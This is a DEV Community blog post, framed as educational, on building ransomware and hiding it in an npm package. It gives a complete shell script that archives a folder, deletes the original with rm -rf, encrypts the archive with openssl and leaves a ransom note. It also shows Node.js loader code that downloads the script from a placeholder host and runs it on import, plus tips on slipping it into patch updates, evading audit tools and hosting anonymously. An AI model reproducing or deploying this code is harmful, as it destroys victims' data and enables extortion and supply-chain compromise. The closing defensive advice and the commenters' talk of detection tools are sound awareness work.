DEV Community

Cover image for Running a ransomware attack in a Node.js module
Charlie Gerard
Charlie Gerard

Posted on

Running a ransomware attack in a Node.js module

Post originally posted on my blog

A couple of weeks ago, I experimented with creating a small ransomware script, and looked into how to run it in a Node.js module. This post is a write-up explaining how I went about it.

⚠️ Important notes ⚠️

  • I am writing this blog post for educational purposes only. Running ransomware attacks is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
  • I am not taking any responsibility for how you decide to use the information shared in this post.

The code samples that follow were tested on macOS. I assume the concept would be the same for other operating systems but the commands might differ a little.

What does it do?

Before diving into the code, I want to explain shortly what this attack does.

A custom Node.js module fetches a shell script hosted on a cloud platform, creates a new file on the target's computer and executes it.
The script navigates to a specific folder on the target's computer, compresses and encrypts that folder using asymmetric encryption.

What this means is that the target's files are encrypted using the attacker's public key and cannot be decrypted without this same person's private key. As a result, the only way for the target to get their files back is to pay the ransom to the attacker to get the private key.

If this sounds interesting to you, the rest of this post covers how it works.

Creating the script

First things first, there's a script file called script.sh.

It starts by navigating to a folder on the target's computer. For testing purposes, I created a test folder on my Desktop called folder-to-encrypt so my shell script navigates to the Desktop. In a real attack, it would be more efficient to target another folder, for example /Users.

cd /Users/<your-username>/Desktop
Enter fullscreen mode Exit fullscreen mode

The next step is to compress the folder folder-to-encrypt using tar.

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
Enter fullscreen mode Exit fullscreen mode

The -czf flag stands for:

  • c: compress
  • z: gzip compression
  • f: determine the archive file’s file name type

At this point, running bash script.sh will result in seeing both folder-to-encrypt and folder-to-encrypt.tar.gz on the Desktop.

In the context of ransomware, people should not have access to their original file or folder, so it also needs to be deleted.

rm -rf folder-to-encrypt
Enter fullscreen mode Exit fullscreen mode

At this point, the original folder is deleted but the file that's left is only in compressed format so it can be decompressed and restored by double-clicking it. This would defeat the purpose for people to be able to restore their files so, the next step is asymmetric encryption with openssl.

Encryption

Without going into too much details, asymmetric encryption works with two keys, a public one and a private one. The public key is the one used to encrypt the data. It can be shared with people so they can encrypt data they would want the keys' owner to be able to decrypt. The private key, on the other hand, needs to stay private, as it is the decryption key.

Once data is encrypted with the public key, it can only be decrypted with the associated private key.

The next step is then to generate the private key with the following command:

openssl genrsa -aes256 -out private.pem
Enter fullscreen mode Exit fullscreen mode

This command uses AES (Advanced Encryption Standard) and more specifically the 256-bit encryption.

When the above command is run, the key is saved in a file called private.pem.

The public key is then generated with the command below:

openssl rsa -in private.pem -pubout > public.pem
Enter fullscreen mode Exit fullscreen mode

After the keys are generated, I save the public key in a new file on the target's computer.
One way to do this is with the following lines:

echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem
Enter fullscreen mode Exit fullscreen mode

Getting the info needed from the public key can be done with the command:

head public.pem
Enter fullscreen mode Exit fullscreen mode

Now, the compressed file can be encrypted.

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
Enter fullscreen mode Exit fullscreen mode

The command above uses the new file key.pem created on the target's computer that contains the public key, and uses it to encrypt the compressed file into a file called folder-to-encrypt.enc. At this point,
the orignal compressed file is still present so it also needs to be deleted.

rm -rf folder-to-encrypt.tar.gz
Enter fullscreen mode Exit fullscreen mode

After this, the only way to retrieve the content of the original folder is to get access to the private key to decrypt the encrypted file.

As a last step, a note can be left to let the target know they've just been hacked and how they should go about paying the ransom. This part is not the focus of this post.

echo "You've been hacked! Gimme all the moneyz" > note.txt
Enter fullscreen mode Exit fullscreen mode

Before moving on to running this into a Node.js module, I want to talk briefly about how to decrypt this file.

Decryption

At this point, running the following command in the terminal will decrypt the file and restore the original compressed version:

openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
Enter fullscreen mode Exit fullscreen mode

Complete code sample

The complete script looks like this:

cd /Users/<your-username>/Desktop

echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem

tar -czf folder-to-encrypt.tar.gz folder-to-encrypt

rm -rf folder-to-encrypt

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

rm -rf folder-to-encrypt.tar.gz

echo "You've been hacked! Gimme all the moneyz" > note.txt
Enter fullscreen mode Exit fullscreen mode

Now, how can people be tricked into using it?

Hiding ransomware in a Node.js module

There are multiple ways to go about this.

One of them would be to package up the shell script as part of the Node.js module and execute it when the package is imported. However, having the script as a file in the repository would probably raise some concerns pretty fast.

Instead, I decided to use the fs built-in package to fetch a URL where the script is hosted, copy the content to a new file on the target's computer, and then use child_process.execFile() to execute the file when the package is imported in a new project.

This way, it might not be obvious at first sight that the module has malicious intent. Especially if the JavaScript files are minified and obfuscated.

Creating the Node.js module

In a new Node.js module, I started by writing the code that fetches the content of the script and saves it to a new file called script.sh on the target's computer:

import fetch from "node-fetch"
import fs from "fs";

async function download() {
    const res = await fetch('http://<some-site>/script.sh');
    await new Promise((resolve, reject) => {
        const fileStream = fs.createWriteStream('./script.sh');
        res.body.pipe(fileStream);
        fileStream.on("finish", function () {
            resolve();
        });
    });
}
Enter fullscreen mode Exit fullscreen mode

Then, it's time to execute it to run the attack.

const run = async () => {
    await download()
    execFile("bash", ["script.sh"]);
}

export default function innocentLookingFunction() {
    return run()
}
Enter fullscreen mode Exit fullscreen mode

And that's it for the content of the package! For a real attack to work, more code should probably be added to the module to make it look like it is doing something useful.

Running the attack

To test this attack, I published the package as a private package on npm to avoid having people inadvertently install it. After importing and calling the default function, the attack is triggered.

import innocentLookingFunction from "@charliegerard/such-a-hacker";

innocentLookingFunction();
Enter fullscreen mode Exit fullscreen mode

Done! ✅

Security

You might be thinking, "For sure this would be picked up by some security auditing tools?!". From what I've seen, it isn't.

npm audit

Running npm audit does not actually check the content of the modules you are using. This command only checks if your project includes packages that have been reported to contain vulnerabilities. As long as this malicious package isn't reported, npm audit will not flag it as potentially dangerous.

Snyk

I didn't research in details how Snyk detects potential issues but using the Snyk VSCode extension did not report any vulnerabilities either.

Screenshot of the Snyk VSCode report showing no vulnerabilities found in open-source security, code security and code quality

Socket.dev

At the moment, the Socket.dev GitHub app only supports typosquat detection so I didn't use it for this experiment.

Additional thoughts

"You'd have to get people to install the package first"

Personally, I see this as this easiest part of the whole process.

People install lots of different packages, even small utility functions they could write themselves. I could create a legitimate package, publish the first version without any malicious code, get people to use it, and down the line, add the malicious code in a patch update.
Not everyone checks for what is added in patches or minor version updates before merging them.
At some point, some people will understand where the ransomware came from and flag it, but by the time they do, the attack would have already affected a certain number of users.

Staying anonymous

For this one, I don't have enough knowledge to ensure that the attacker would not be found through the email address used to publish the package on npm, or through tracking the ransomware transactions. There's probably some interesting things to learn about money laundering, but I know nothing about it.

When it comes to where the script is hosted, I used a platform that allows you to deploy a website without needing to sign up, so this way, there might not be an easy way to retrieve the identity of the attacker.

Last note

I wanted to end on an important point, which is the main reason why I experimented with this.

It took me a few hours on a Sunday afternoon to put this together, without any training in security.

A part of me was hoping it wouldn't be possible, or at least not that easy, so I'd feel more comfortable using random packages, but I am now thinking a bit differently.

I am only interested in learning how things work, but that's not the case for everyone, so if I can do it, a lot of other people with malicious intent can too...

I don't know if an attack like this can be completely avoided but be careful when installing packages, update things regularly, and think twice before merging updates without checking changelogs and file changes.

Top comments (14)

Collapse
 
iamschulz profile image
Daniel Schulz

I've seen you program brain interface live on stage and now you're building ransomwares. I put two and two together and do not like where this is going 🧐

Collapse
 
mjoycemilburn profile image
MartinJ

Very interesting - thank you. Ransomware scares me. I spent some time recently researching how I might get yourself some protection from an attack by keeping file copies in a secure location. The conclusion was depressing - it seems there's no such thing as a secure location if it's linked permanently to your machine in some way. I started with the idea that dropbox et al might be the answer, but soon gave up. I won't bore you with the details, but each month now I get an email reminding me that a scheduled dump is going to run in the wee small hours and that I need to connect my remote hard drive before it starts and disconnect same when it's finished. Is this 2022 or what?

Collapse
 
krishnansriram profile image
Krishnan Sriram

Nice article. Wondering, how any security tool can pick things like this. If you think encryption/decryption invocations should be flagged. It's hard. How do we differentiate between genuine function vs a ransomware (like this). Will be interesting to see what the future scanner will look like!

Collapse
 
jdnichollsc profile image
J.D Nicholls

Hello Charlie, thanks for sharing!

This is quite interesting, and as you mentioned, this is a manual step to prevent security issues, also it's important to use exact versions of these external packages/libs and people always forget that!

Thanks for the reminder <3

Collapse
 
k_swe profile image
Kilian Lindberg

I’ve been uncomfortable with all these package updates since I realized things like this could be achieved a long time ago.. All this breaking module updates and now this. Great example Charlie.

Collapse
 
timmortal profile image
Timmortal

Been a victim of ransomware before, didn't know it was this easy to do to anyone

Collapse
 
dinerdas profile image
Diner Das

Thanks!

Collapse
 
snelson1 profile image
Sophia Nelson

good read

Collapse
 
andrewbaisden profile image
Andrew Baisden

Wow that was quite interesting!

Collapse
 
fraxken profile image
Thomas.G

You might be interested in looking at NodeSecure/cli: github.com/NodeSecure/cli

We are working hard on providing open source tools able to detect that kind of malicious package.